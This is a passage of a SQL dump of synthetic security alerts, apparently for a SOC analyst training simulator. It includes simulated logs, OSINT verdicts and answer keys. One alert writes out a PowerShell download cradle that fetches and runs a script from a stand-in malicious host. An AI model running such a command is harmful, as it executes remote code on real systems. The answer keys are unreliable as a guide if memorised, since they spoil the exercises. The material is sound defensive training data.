'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1693, 'Phishing Attempt via Malicious Email Link', 'high', 'Proofpoint', 'An email containing a suspicious link was detected, potentially delivering phishing content.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:05:20Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.55\",\"dst_ip\":\"10.3.3.3\",\"username\":\"jane.smith\",\"hostname\":\"mailserver01\",\"request_body\":null,\"command_line\":null,\"email_sender\":\"phisher@example.com\",\"url\":\"http://malicious-link.com\"}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-link.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"phisher@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"suspicious\",\"details\":\"Email domain used in previous phishing attempts\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in sending phishing emails\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The malicious link\'s OSINT confirms phishing intent.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt via Malicious Email Link\",\"date\":\"2026-03-15T20:58:15.995Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1694, 'Failed SSH Login from Internal Network', 'low', 'Azure Sentinel', 'A failed SSH login attempt was logged from within the internal network, potentially indicating a user error.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"10.0.1.20\",\"username\":\"john.doe\",\"hostname\":\"sshserver02\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the source machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity originated from an internal IP with no signs of malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1695, 'Malware Command Execution Detected', 'critical', 'Wazuh', 'A potentially malicious command was executed on a host, indicating possible malware activity.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"10.0.0.100\",\"username\":\"malicious_user\",\"hostname\":\"infected_host\",\"request_body\":null,\"command_line\":\"powershell.exe -nop -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\"\"}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -nop -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to download and execute a remote script, typical of malware activity\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.com/script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command execution is a known technique for downloading and executing malware.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1696, 'Process Hollowing Detected in explorer.exe', 'critical', 'CrowdStrike', 'Suspicious activity detected where explorer.exe is exhibiting process hollowing behavior. Anomalous process injection identified.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:15:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"203.0.113.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"command_line\":\"C:\\\\Windows\\\\explorer.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique detected in explorer.exe\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is a common malware technique used to hide malicious code. The hash and behavior indicate a true positive.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1697, 'PowerShell Download Cradle Detected', 'high', 'Sysmon', 'A PowerShell script was executed with an encoded command, indicating a potential download cradle attack.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"198.51.100.5\",\"username\":\"asmith\",\"hostname\":\"finance-pc\",\"command_line\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands suggests an attempt to obfuscate a download cradle attack, confirming the positive.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1698, 'Malicious Network Connection from Internal IP', 'medium', 'Carbon Black', 'An internal machine made a suspicious outbound connection to a known malicious IP address.', 'Data Exfiltration', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:21:15Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.0.2.45\",\"username\":\"tblack\",\"hostname\":\"server02\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for hosting command and control infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The connection to a known malicious IP indicates possible data exfiltration, justifying the positive verdict.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1699, 'Failed Login Attempts from Foreign IP', 'medium', 'SentinelOne', 'Multiple failed login attempts detected from an IP address located in a foreign country. Possible credential brute force attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:54:12Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.85\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"auth-server\",\"failed_attempts\":17}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for frequent brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Common target username for brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The volume and origin of failed login attempts suggest a brute force attack, supporting the positive classification.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"},{\"timestamp\":\"2026-03-15T20:57:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 